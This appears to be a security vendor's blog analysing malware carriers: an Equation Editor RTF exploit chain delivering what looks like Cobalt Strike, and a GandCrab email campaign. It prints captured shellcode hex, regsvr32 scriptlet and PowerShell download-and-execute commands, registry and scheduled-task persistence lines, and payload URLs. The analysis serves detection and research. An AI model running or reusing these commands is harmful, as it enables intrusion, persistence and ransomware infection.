00000000: 1C 00 00 00 02 00 9E C4 A9 00 00 00 00 00 00 00 ......??.......
00000010: C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 03 01 01 03 ?\.??[.........
00000020: 0A 0A 01 08 5A 5A 33 C0 99 B2 02 C1 E2 08 2B E2 ....ZZ3???.??.+?
00000030: E8 FF FF FF FF C3 5B 50 64 8B 40 30 8B 40 08 99 ??????[Pd?@0?@.?
00000040: B2 03 C1 E2 10 66 BA 12 0C 03 C2 8D 5B 1C 53 FF ?.??.f?...[.S?
00000050: E0 72 65 67 73 76 72 33 32 20 2F 75 20 2F 73 20 ?regsvr32 /u /s
00000060: 2F 69 3A 68 74 74 70 3A 2F 2F 6A 6F 62 2E 73 6F /i:http://job.so
00000070: 66 74 6C 69 6E 65 2E 74 6F 70 2F 61 64 31 2E 6A ftline.top/ad1.j
00000080: 70 67 20 73 63 72 6F 62 6A 2E 64 6C 6C 20 23 20 pg scrobj.dll #
00000090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000000A0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000000B0: 20 20 20 20 20 20 20 20 20 20 25 00 00 00 00 00 %.....
000000C0: 00 00 00 00 00

$ oledump.py banner.jpg_object_00010E11.bin -s4
00000000: 1C 00 00 00 02 00 9E C4 A9 00 00 00 00 00 00 00 ......??.......
00000010: C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 03 01 01 03 ?\.??[.........
00000020: 0A 0A 01 08 5A 5A B8 44 EB 71 12 BA 78 56 34 12 ....ZZ?D?q.?xV4.
00000030: 31 D0 8B 08 8B 09 8B 09 66 83 C1 3C 31 DB 53 51 1?.?.?.f??<1?SQ 00000040: BE 64 3E 72 12 31 D6 FF 16 53 66 83 EE 4C FF 10 ?d>r.1??.Sf??L?.
00000050: 90 90 14 21 40 00 00 00 72 65 67 73 76 72 33 32 ??.!@...regsvr32
00000060: 20 2F 75 20 2F 73 20 2F 69 3A 68 74 74 70 3A 2F /u /s /i:http:/
00000070: 2F 6A 6F 62 2E 73 6F 66 74 6C 69 6E 65 2E 74 6F /job.softline.to
00000080: 70 2F 61 64 31 2E 6A 70 67 20 73 63 72 6F 62 6A p/ad1.jpg scrobj
00000090: 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 .dll............
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 .....
```

We'll focus on the first of the two, banner.jpg_object_0000ED3A.bin. For further reading on the specific of Equation Editor vulnerabilities we recommend the following articles from [Checkpoint](https://research.checkpoint.com/another-office-equation-rce-vulnerability/) and [Freebuf](http://www.freebuf.com/vuls/159789.html). Aligning the vulnerabile structure with the data above we have the following table:

| struct member | description | size | offset |
|---------------|-----------------|------------------------------|-------------|
| Tag | 0×08 | 1 byte | 0x23 |
| Ttype | Typeface number | 1 byte | 0x24 |
| Style | Font style | 1 byte | 0x25 |
| Name | Font name | NULL-terminated ASCII string | 0x26 - 0x93 |

The vulnerability was initially patched in November of last year. That patch proved insufficient and subsequently in December of last year Microsoft simply removed the Equation Editor in its entirety. The above analysis of course can be skipped entirely as the next stage payload is clearly visible in both objects referencing [ad1.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/ad1.jpg), which contains nothing more than a scriptlet pivot through JavaScript and PowerShell to yet another payload:

```xml

```

Following the rabbit down the hole further, we get the following PowerShell pivot from [share.png](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/share.png):

```iq-bash
function ConvertFrom-Base64($string) {
$bytes = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
return $decoded;
}

$WSH = New-Object -Com WScript.Shell;
$decode = ConvertFrom-Base64("c2NodGFza3MgL2NyZWF0ZSAvdG4gIndpbmRvd3MgdXBkYXRlIiAvdHIgInJlZ3N2cjMyIC91IC9zIC9pOmh0dHA6Ly9qb2Iuc29mdGxpbmUudG9wL2FkMi5qcGcgc2Nyb2JqLmRsbCIgL3NjIGRhaWx5IC9zdCAxMjowMCAvRg==");
$WSH.Run($decode,0);

$client = new-object System.Net.WebClient
$client.DownloadFile('http://job.softline.top/SCHEDLGU.exe', 'c:\\windows\\tasks\\SCHEDLGU.exe')
$decode3 = ConvertFrom-Base64("cmVnIGFkZCAiSEtFWV9DVVJSRU5UX1VTRVJcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuIiAvdiAid2luZG93cyB0YXNrcyBjaGVjayIgL3QgUkVHX1NaIC9kICJjOlx3aW5kb3dzXHRhc2tzXFNDSEVETEdVLmV4ZSIgL2Y=");
$WSH.Run($decode3,0);

$decode2 = ConvertFrom-Base64("cG93ZXJzaGVsbC5leGUgLWV4ZWMgYnlwYXNzIC1XaW5kb3dzdHlsZSBoaWRkZW4gLW5vbmludGVyYWN0aXZlIC1ub2xvZ28gSUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vam9iLnNvZnRsaW5lLnRvcC9sb2FkaW5nbGl0LmdpZicp");
$WSH.Run($decode2,0);
```

There's a plethora of methods to decoding the base64 data above, but sticking with the tool-set we've been using, we'll lean on [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py) here:

```iq-bash
$ base64dump.py -n30 share.png -s a -S
schtasks /create /tn "windows update" /tr "regsvr32 /u /s /i:http://job.softline.top/ad2.jpg scrobj.dll" /sc daily /st 12:00 /F

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "windows tasks check" /t REG_SZ /d "c:\windows\tasks\SCHEDLGU.exe" /f

powershell.exe -exec bypass -Windowstyle hidden -noninteractive -nologo IEX (New-Object Net.WebClient).DownloadString('http://job.softline.top/loadinglit.gif')
```

Three commands. It looks to pull down a payload and to establish persistence across reboots by way of a Registry run-key and scheduled tasks (how uncreative). Additionally, we've got a pair of new pivots to follow here. As it turns out, [ad2.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/ad2.jpg) is nothing more than a JavaScript / PowerShell pivot to [loadinglit.gif](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/loadinglit.gif):

```xml

```

Examining [loadinglit.gif](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/loadinglit.gif) we find a pure PowerShell payload that contains a base64 encoded PE file. This is obvious from the string start of "TVroAAAAAFt" which, if you've been looking at these things long enough, immediately stands out as an MZ header for a Windows PE executable (DLL, EXE, etc.). The script is too large to include inline, see the link above. Again though, we'll lean on [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py) to extract the payload:

```iq-bash
$ base64dump.py -n500 loadinglit.gif
ID Size Encoded Decoded MD5 decoded
-- ---- ------- ------- -----------
1: 275804 TVroAAAAAFtSRVWJ MZ?....[REU???r 9d7376f5ad1b39ec08cbe2a8e0e886b6

$ base64dump.py -n500 loadinglit.gif -s1 -d > payload

$ sha256sum payload
8cdd29e28daf040965d4cad8bf3c73d00dde3f2968bab44c7d8fe482ba2057f9 payload

$ file payload
payload: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
```

This final [payload](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/payload) has not been seen on VT / MetaDefender before, so we uploaded to both services. It appears to be a Cobalt Strike payload:

* [OPSWAT MetaDefender](https://metadefender.opswat.com/results#!/file/ZTE4MDQxOUgxLXY2VGFCaEdTMUdQVGFUQmh6/regular/overview)
* [VirusTotal](https://www.virustotal.com/en/file/8cdd29e28daf040965d4cad8bf3c73d00dde3f2968bab44c7d8fe482ba2057f9/analysis/)

Detection
---------
We've examined the various pivots in this malware carrier that resulted in the eventual delivery of a persistently hooked malicious binary. The InQuest [Deep File Inspection](http://blog.inquest.net/blog/2018/02/12/deep-file-inspection/) (DFI) stack is capable of unraveling common malware carriers such as the one detailed in this post. There are countless methods that attackers can employ to obfuscate, evade, encapsulate, and generally deter security inspection. Our DFI stack strips away the superfluous and exposes malicious content bare for threat detection based on any of our 1000+ field tested hunting signatures, user-defined YARA signatures, or any of our [active integrations](http://www.inquest.net/partners/).

Malware carriers are typically nested in multiple levels, like a Matryoshka doll.

In addition to [Deep File Inspection](http://blog.inquest.net/blog/2018/02/12/deep-file-inspection/), we provide other capabilities for discovering and detecting targeted malware campaigns. Following along with our example, let's take a look at the hosting provider behind the various payload stages we retrieved. The domain, softline.top ([WHOIS](http://whois.domaintools.com/softline.top)), was registered in late December of last year. There is not DNS resolution for the TLD. The subdomain job.softline.top is hosted on South Korean IP address 27.255.90.218 ([WHOIS](http://whois.domaintools.com/27.255.90.218)):

```iq-bash
$ whois softline.top
...
Domain Name: softline.top
Registry Domain ID: D20171226G10001G_32819662-top
Registrar WHOIS Server: whois.publicdomainregistry.com
Registrar URL: http://publicdomainregistry.com
Updated Date: 2017-12-26T08:51:22Z
Creation Date: 2017-12-26T08:50:51Z
Registry Expiry Date: 2018-12-26T08:50:51Z
Registrar: PDR Ltd
Registrar IANA ID: 303
...

$ dig job.softline.top any
...
;; ANSWER SECTION:
job.softline.top. 51 IN A 27.255.90.218
...
```

A reverse IP lookup on [27.255.90.218](https://reverseip.domaintools.com/search/?q=27.255.90.218) reveals another domain microsoftgood.com ([WHOIS](http://whois.domaintools.com/microsoftgood.com)) which was registered even more recently:

```iq-bash
$ whois microsoftgood.com
...
Domain Name: microsoftgood.com
Registry Domain ID: 2221771516_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2018-02-01T02:55:46Z
Creation Date: 2018-02-01T02:55:46Z
Registrar Registration Expiration Date: 2019-02-01T02:55:46Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
...
```

Whether or not there is any relation is speculative at this point. It may be potentially lucrative from a defenders perspective to utilize the naming patterns gleans above to conduct a limited brute force crawl of this new domain, in search of additional malware.

IP and DNS are both detectable / alertable artifacts within InQuest. Users can lean on our weekly feed of intel updates as well integrate with their own propriety intel or commercial third party feeds to detect command and control (C2) activity. Campaigns can be alerted on by file heuristics, communicated endpoints, hashes, fuzzy hashes, perception hashes (images), header (HTTP and SMTP) analytics, and an ever growing list of [active integrations](http://www.inquest.net/partners/).

As an example active integration, let's take a look at how our friends at [VMRay](https://www.vmray.com/) detect this threat. If enabled, file artifacts carved by InQuest from the wire can be optionally passed through the VMRay sandbox for [detonation and behavioral inspection](http://blog.inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies/):

VMRay detonated the file in four different environments, only one alerted.

Starting from the overview, you'll note that VMRay detonated the file in four different unique environments. Only one of which alerted. It is prudent to accurately build your sandbox environment to reflect your real-world systems. The next screen shows the process overview:

Clear depiction of the multiple stage pivots detailed above.

You can clearly see some of the pivots we detailed above. From Microsoft Word through the RTF payload (banner.jpg) to the Equation Editor pivot, through regsvr32.exe (ad1.jpg) and finally to PowerShell. Some of the scriptlets in-between are not depicted here, though they are captured and scored independently in InQuest. There's value in [defense-in-depth](http://blog.inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies/). A more detailed but similar view:

Detailed information on various commands executed by the malware.

Shows the complete command line arguments from those captured pivots. The results from this, and any other integrations, are aggregated under a single pane of glass and summarized by a simple threat score from 1 to 10. Our threat score algorithm is not prone to artificial inflation from over-detection. We lean on our experiences as SOC analysts to automate the heating / cooling of scores based on a combination of inputs. In essence, we're automating much of the SOC analyst work flow to spare precious human cycles for what matters most. The key decision points that drive the algorithm are shown in an straightforward threat receipt:

There are over 20 factors considered when applying a threat score to a captured session.

The indicators beside each row in the threat receipt state:

* Green, the subsystem alerted and contributed to the threat score.
* Yellow, the subsystem alerted but that alert did not contribute to the threat score.
* Red, the subsystem did not produce an alert.
* Grey, the subsystem was not available at the time of analysis (or is not configured / enabled).

At a glance, the InQuest threat receipt provides analysts with an idea as to whether or not the threat is a true positive and why. In this particular case the InQuest Threat Detection Engine scored the session containing the initial carrier as a 9 and then bumped the score to a 10 based on InQuest cloud assisted IP reputation. Both the OPSWAT (multi-av) and VMRay (sandbox / detonation) subsystems alerted as well, but did not alter the final score.

On a final note, InQuest customers can hunt for signs of this and similar campaigns via the following DFI powered signatures:

* 5000755, MC_CVE_2017_11882_OLE, severity 8, confidence 7.
* 5000757, MC_Equation_OLE, severity 8, confidence 7.
* 5000806, MC_Malicious_Scriptlet_Payload_01, severity 10, confidence 5.
* 5000487, MC_SCT_Backdoor, severity 9, confidence 9.
* 3000175, SC_RTF_Objupdate, severity 5, confidence 2.

Originally published 2018-04-19 on the InQuest blog.

04.17.2018: GandCrab Swarm

Tue, 17 Apr 2018 00:00:00 -0500

The campaign is far from stealthy, and we’re certainly not the first to write about it. See the section “Further Reading” below for additional articles and utilities. We first noticed the campaign through a significant uptick in threats delivered via malicious e-mail attachment following the naming convention “`DOC[0-9]{10}.zip“`. Example file names include:

DOC1385624908.zip
DOC1614310849.zip
DOC2138630325.zip
DOC2229418534.zip
DOC3054722748.zip
�

In the cases we observed, the archive contained either a malicious macro dropper document or a malicious JavaScript file. We observed ~3,000 unique IP addresses that spanned across 427 ASNs (see Appendix). Analyzing the source IPs of the campaign reveals a heavy slant toward the Asias. We�re using the handy distribution utility here if you�re curious:

[pedram@kb 2018-04-doc0]$ cat doc0.countries | distribution
    Key|Ct   (Pct)    Histogram
     VN|2991 (52.44%) -------------------------------------------------------
     IN| 963 (16.88%) --------------------
     CN| 416  (7.29%) ---------
     BD| 184  (3.23%) ----
     RU| 169  (2.96%) ----
     ID| 121  (2.12%) ---
     KZ|  99  (1.74%) ---
     LA|  68  (1.19%) --
     TH|  67  (1.17%) --
     PK|  62  (1.09%) --
     MN|  61  (1.07%) --
     UA|  48  (0.84%) -
     KH|  48  (0.84%) -
     KG|  41  (0.72%) -

Macro Dropper

An example malicious document can be in our GitHub repo for malware samples:

Of the dozens of macro droppers we harvested, we isolated 6 uniquely generated macros, all of which employ the same heavy string obfuscation tactics:

[pedram@kb 2018-04-doc0]$ grep "(" * | cut -d':' -f2 | tr -d ' '  | cut -d'=' -f2 | cut -d'(' -f1 | distribution
            Key|Ct   (Pct)    Histogram
        Replace|1840 (44.12%) ------------------------------------------
     StrReverse|1540 (36.93%) -----------------------------------
          Space| 111  (2.66%) ---
          UCase|  99  (2.37%) ---
            Mid|  92  (2.21%) ---
           Left|  87  (2.09%) --
          LTrim|  87  (2.09%) --
          Right|  79  (1.89%) --
          RTrim|  79  (1.89%) --
        StrConv|  68  (1.63%) --
          Split|  18  (0.43%) -
         UBound|   6  (0.14%) -
          Shell|   6  (0.14

Prior to pivoting through Shell(). Note the usage of vbHide (0) here:

[pedram@kb 2018-04-doc0]$ grep Shell *
5ab51aaa4e781063c21ceca884ffe4177a24f3a49f164f7a7095ac16161a4e6a.macro
549:            Shell (StrReverse(StrReverse(GAMI))), 0

9bb808c1ec544f71c1f6730cbaf0d24337e22a4f92f6078b8ba794d596a87a5e.macro
750:            Shell (mbRq), 0

521b7acbb766010ad49b2344a32ec20663d2328fb9c8a846f1ac8cc7a4895f42.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

20bf59ea08052f282666570f12402be8f4eaf3b1ccaf00c7d6f4f645a2ddbc78.macro
422:            Shell (StrReverse(StrReverse(nVBj))), 0

5849f63af8e041cd2690efd7a7638c1b7185a9aa497a2322be01d36d314507f8.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

ca72e019c23658547a73c613e4bf3a39e2d603b260c2e227adab74efc6fdc7bb.macro
643:            Shell (StrReverse(StrReverse(fCOY))), 0

To a PowerShell pivot which will download and execute a second-stage payload (PE executable) from (in this case) a server in the UK:

powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('hxxp://185[.]189.58.222/da.exe',([System.IO.Path]::GetTempPath()+'bKKc.exe'));

powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'bKKc.exe'

We�ve extracted a half dozen macros from live samples and made them available on Github.com/InQuest/malware-samples for anyone who is interested.

JavaScript Dropper

Example malicious JavaScript payloads can be found Github.com/InQuest/malware-samples, we�ll dissect this one here:

45e1a8582716c51212a45df8f26298cb8dd9769d5fa5781014ef72e4b22881a8.js

At the highest level, the heavily obfuscated JavaScript will:

Loop until a non 200 OK response is received from C&C server at GET hxxp://hgpjrvccsollfwbq[.]com.
Download payload from hxxp://112[.]126.94.107/shop/k.exe.
Save the downloaded file as %TEMP%/undefined/featherstrail.exe, and execute it.

You can see the trace of this activity in the following log:

ActiveXObject initialized: ["Scripting.FileSystemObject"]
  [Scripting.FileSystemObject].GetSpecialFolder() called
ActiveXObject : ["WinHttp.WinHttpRequest.5.1"]
ActiveXObject : ["MSXML2.XMLHTTP"]
  [MSXML2.XMLHTTP].open() called:
      ["GET", "hxxp://hgpjrvccsollfwbq[.]com/", false]
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
  [WinHttp.WinHttpRequest.5.1].open() called with arguments:
      ["GET", "hxxp://112[.]126.94.107/shop/k.exe", 0]
  [WinHttp.WinHttpRequest.5.1].send() called.
ActiveXObject initialized: ["WScript.Shell"]
ActiveXObject initialized: ["ADODB.Stream"]
  [ADODB.Stream].Open() called: []
  [ADODB.Stream].Write() called: [undefined]
  [ADODB.Stream].SaveToFile() called: ["undefinedfeatherstrail.exe"]
  [ADODB.Stream].Close() called: []
WScript.run() called: ["cmd /c undefinedfeatherstrail.exe", 0, 0]

Second Stage Payloads

The second-stage payloads were seen hosted on French, British, and Chinese servers (see Appendix). In one case, a seemingly compromised China based shopping site (112[.]126.94.107). In another case, a seemingly fresh install of CentOS (185[.]189.58.222).

With the identification of a second stage payload host and the realization that the payloads follow a basic 1 to 3 character naming convention and are of one of the types: .exe, .doc, etc. We brute force crawled the limited space to unveil the following list of additional payloads. All are active as of the time of writing. On a side note, for more complex brute force patterns, we recommend checking out rexgen.

<tr>
    <td>hxxp://185[.]189.58.222/as.exe</td>
    <td align="right">application/octet-stream</td>
</tr>
<tr>
    <td colspan="2"><a href="https://www.virustotal.com/#/file/73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36">73f0880358701566ed1792014b639c02f357da42981344a6ad644aae494d3e36</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/da.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57">6d1e7233c698c47c231e7d89500ddca5dc7a2efb12611395848ea024c01f6e57</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/s.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Trik.pdb: <a href="https://www.virustotal.com/#/file/a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5">a753017ff3428b51543961f07a087b6f625b43b029580d2046a89c3c7136b3d5</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/k.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c">71391d3dfa01284ebdd2aff07414ec1cf203caca625e6f26d6507ec3974b421c</a></td>
</tr>
<tr>
    <td>hxxp://185[.]189.58.222/f.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Ransort.pdb: <a href="https://www.virustotal.com/#/file/f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca">f5f30a0187d94e3a4e61d614c2a36d21e79e9aadb9dd3082adc4e69962d35bca</a></td>
</tr>
<tr>
    <td>hxxp://112[.]126.94.107/shop/wat.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">Trik.pdb: <a href="https://www.virustotal.com/#/file/09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326">09ef6c20ebcaa676f3f682f220c60d4336a11321ce876bab44834cd7ae159326</a></td>
</tr>
<tr>
    <td>hxxp://112[.]126.94.107/shop/k.exe</td>
    <td align="right">application/octet-stream</td>
<tr>
    <td colspan="2">GandCrab: <a href="https://www.virustotal.com/#/file/053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131">053b9fdab60ab124178e23b4598f2b10e71b2caf1abcfa51c857f0801f555131</a></td>
</tr>

URL	MIME / SHA256
hxxp://185[.]189.58.222/d.doc	application/msword
Dropper: 99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809
hxxp://112[.]126.94.107/shop/d.doc	application/msword
Dropper: 6a8778a466c66a4a6df07163459bbe5cb4971109a3a4057330bc7c07014f7462
hxxp://185[.]189.58.222/sry.exe	application/octet-stream
GandCrab?: f921949f9bf653b37fb73065834141862dc433ca12db8905f07face35f2d652a
hxxp://185[.]189.58.222/huh.exe	application/octet-stream
GandCrab: 298db98676cebbeab5b7d1aee14521363eee533755e99132c7efe3322d99d691
hxxp://185[.]189.58.222/ps.exe	application/octet-stream
RanserKD: f851dbbdafa4aa24548789d21b30f0e6248393d6813d9f21ac0627fdc1eb4b18

Source ASNs

We observed ~3,000 unique IP addesses that spanned across the following 427 ASNs:

768, 812, 2119, 2856, 3320, 3462, 4134, 4621,
4755, 4760, 4761, 4788, 4795, 4800, 4818, 4837,
5563, 6332, 6503, 6697, 6703, 6712, 6789, 6830,
6846, 6849, 6876, 7470, 7545, 7552, 7565, 7922,
8100, 8151, 8193, 8334, 8359, 8402, 8427, 8449,
8452, 8551, 8585, 8708, 8711, 8712, 8732, 8890,
8997, 9105, 9121, 9198, 9260, 9304, 9422, 9498,
9808, 9829, 9830, 9873, 9902, 9930, 9934, 10010,
10076, 10109, 10199, 10219, 10225, 10620, 11172, 11427,
11562, 12389, 12430, 12714, 12716, 12735, 12764, 12997,
13099, 13188, 13194, 13489, 13591, 13999, 14061, 14080,
15491, 15493, 15723, 15774, 16010, 16066, 16960, 17426,
17465, 17483, 17488, 17557, 17621, 17658, 17665, 17747,
17754, 17762, 17771, 17813, 17970, 18001, 18002, 18059,
18207, 18209, 18403, 18734, 19429, 20115, 20539, 20549,
20771, 21017, 21087, 21104, 21127, 21183, 21299, 21312,
21479, 21497, 22773, 23673, 23678, 23682, 23700, 23860,
23888, 23893, 23947, 23969, 24086, 24186, 24203, 24309,
24320, 24323, 24389, 24432, 24435, 24444, 24445, 24547,
24554, 24560, 24955, 25019, 25106, 25139, 25159, 25229,
25249, 25454, 25513, 27738, 27747, 27884, 27947, 27951,
28006, 28378, 28509, 28531, 28532, 28537, 28545, 28554,
28573, 28738, 28769, 28787, 28812, 29061, 29091, 29124,
29497, 29584, 30619, 30922, 31036, 31145, 31148, 31163,
31213, 31252, 31286, 31287, 31585, 32244, 33788, 34145,
34602, 34814, 34975, 34984, 35004, 35104, 35362, 35566,
35728, 35807, 35816, 35819, 36907, 37061, 37209, 37284,
37308, 37398, 37424, 37425, 37489, 38019, 38067, 38193,
38203, 38264, 38266, 38457, 38511, 38623, 39047, 39280,
39407, 39529, 39709, 39714, 39927, 41557, 41661, 41682,
41733, 41750, 41794, 41997, 42362, 42610, 42713, 43145,
43182, 43258, 43370, 43554, 43594, 43727, 43733, 43925,
44267, 44395, 44895, 45025, 45043, 45117, 45194, 45235,
45245, 45289, 45326, 45335, 45458, 45498, 45514, 45543,
45582, 45588, 45629, 45694, 45727, 45766, 45769, 45773,
45774, 45775, 45804, 45820, 45899, 45903, 45905, 45925,
45942, 45951, 46042, 47140, 47237, 47759, 47975, 48094,
48176, 48212, 48503, 48524, 48642, 48882, 49461, 49749,
49800, 50009, 50025, 50223, 50306, 50544, 51004, 51009,
51034, 51035, 51904, 52609, 53085, 55406, 55410, 55441,
55511, 56040, 56041, 56044, 56046, 56124, 56255, 56354,
57128, 57261, 57334, 57944, 58405, 58587, 58640, 58691,
58717, 58765, 58906, 58969, 59332, 59341, 59347, 59362,
59523, 59552, 59671, 60258, 60411, 63862, 63961, 63969,
64063, 64072, 64075, 131127, 131178, 131210, 131246, 131267,
131464, 132137, 132220, 132453, 132525, 132730, 132768, 132770,
132933, 132941, 133001, 133011, 133168, 133177, 133232, 133255,
133293, 133331, 133443, 133450, 133481, 133597, 133613, 133661,
133700, 133814, 134000, 134006, 134009, 134033, 134056, 134128,
134186, 134204, 134293, 134341, 134371, 134708, 134810, 134813,
134853, 134932, 134970, 135371, 135527, 135597, 135607, 135654,
135718, 135872, 136276, 136393, 136498, 136514, 196629, 197254,
197275, 197311, 197585, 201986, 207133, 262186, 262928, 263170, 264821, 327826

Carrier Samples

Of the myriad of samples we observed in the wild, the following are available from VirusTotal Intelligence. It is of some minor interest to note that all of the following samples were uploaded1. 01072c19714bdf73017d22275ffed4f40cb99891fc019798b495f6415a9f08b9
2. 04ef17f7052a01b3091eb1190c8072e283da99c6a61cfee9cde8d1ff4fd4f1a3
3. 0641176e5865e840509ef0ea4aa779aa662ce64917c715b2865d1372b9cf0080
4. 0732dff16daadf858388ba85bb311fb0d03aab979d3354fa75a0e91d3ba71668
5. 094e1e556dca8146eefa43e88a16c2c3eebdc867a35ac29c239505a0b6f828ce
6. 0b1550624d76cf74a3928466d09cd8359f8deb2980c4d54c4b0dad183e6e8029
7. 0b2da90d5102933162a7bdb6794a506d946a5d960325d09c5bdfe0858e476ad8
8. 0cb41a2c20720fa3051047b80d4aa0dbbb8dd74a0d3d0e4051c2bd969b9b7c77
9. 0f2b93d78c4d145408ee7aa192698da9fbc717022fe68f533dd204293ef384b3
10. 18b8e3b30e757bc362bcfcbd5dc90916133fe3377b88028e56434052bc72288b
11. 18ec003eccabb265f9c1a26a4384565620e357f7c079c2e879f7a16080762fb8
12. 1b6bf58f019cbb8c08bd66a6a361991d1e9d619a8340c823b1a1acc90a298e43
13. 1edf1c4049f663236424d4ee9b8de923b416f4af75dbf5bf971e0b85de01d94b
14. 1fae994859b8ac5e3ffc64c721ce40f8787d9836f4de3edb52112ab84bd58c1b
15. 2c2f282428cb09fb97d9da1fdbe8a83278ef8228bb4438ef38a1cdbf83cb3d13
16. 2f0de44c668c67b649c355e8d35106bf60ef002af84b7246ee6ad8ff5a341f56
17. 30a5e1860249f40fdcd176c223ea78824fa2181d3ebc76d2f64f3397a181aed7
18. 311b10a28b8f9a4de7c508b557f3131103ad11f35a39b82898903ba59f12f32f
19. 3734ae24bb1c0b392b9e2e9606729cf11074b07a234dd93c30e6964dcefb85eb
20. 37d1a9b24aa796d428baa5cdbc848e7d04b6a28aa04faebce8b3efc15109e2f4
21. 37e3ae5b476298cfa05b8cf9128c8a0216aa9870b10b23835629653e1300aa7a
22. 3912109d9f9ceea82d08c67a1b033f7a509db81f5ee4dfa9bcdf12b2101051c9
23. 391e1243413cbbdd17ddbd499c473b9ed180003a868d75c6fecb92446ff7f5b9
24. 39d95449fca6c188bfc9f2eb599804a86ddde41774fefa0edc894118e978a525
25. 3aaa8d3cc6291dff27de7a9d0bd4dc28c59207a6641f86f510ed36fd0df88e7e
26. 3cefbe4498aabf3b0160c979a4f382446c1156187bfd6b9cabeeff64b7685fc4
27. 4350cc33108a98f9491515e8855ecf1f550e70e39be2f351b88356f11fa5760d
28. 45fc9542235efd93f9a898df898ec7fa1bac8d1f56365d7d4bede7d6a33470ef
29. 4b22ced5138d6f1b4e69c31c3a6558638a652efda90b067e4f267144841f84fc
30. 4cfab88fa7dd90785bdf0d52753c2a40e2c6fdba93a1635d8b1b7eb4fdb91fb2
31. 5365e92f544c83b1bff8eeb440ad620cdb308ffd1d96f732d6a399511493ed7f
32. 56e3d0f0093de7d52feb62e97fa7532056047546375452a0f59e8f682ae235e5
33. 576313b11f51a8e2191689fc146409897e719bb83d967c14ea53306ed3369572
34. 596ecf4f1c762d20d353f6382f982bbf57e1b4e062c6f796600fe53028b68efb
35. 59d12676e116055028c272e404046b70ca3a885137faf28e2b1a074833d4104d
36. 5e222eb6ff5b474d5eb4b450448ec6f47783190312a782a0365e761be97e35cf
37. 6ae1213bc50d25f5d6335a2c1652440bbc295e3cd1214a16a11fa216b5ebfc6d
38. 6d8e7e0e38d697f85d82f8f528a10d4c0dda7bc0fa0bb7624809893d61203e7a
39. 6d9b225458f556556e8a91de96c9d292f1b179e4660569ef21e97e5fdc0e6257
40. 6e5ed1fa3afbb74e1a35a80cfddf5d7cb1ddacd02e7f049e61808d0409a04ef4
41. 74ce529e2d09971ab43cd86ab455d66bc53b5cf64607b754fe4b51f823397427
42. 7776ac0c61015d2e5cec12054f01301dd6e34eb08c35c29b9e0769d45498d78f
43. 79e7043fa72f70d961b7de31bec3d6768e4a331403b56de451fb9d8c8582ca86
44. 79fa9eb242b88ccae36c441b8d25f444b2c7186c446019636595e9c410d88e17
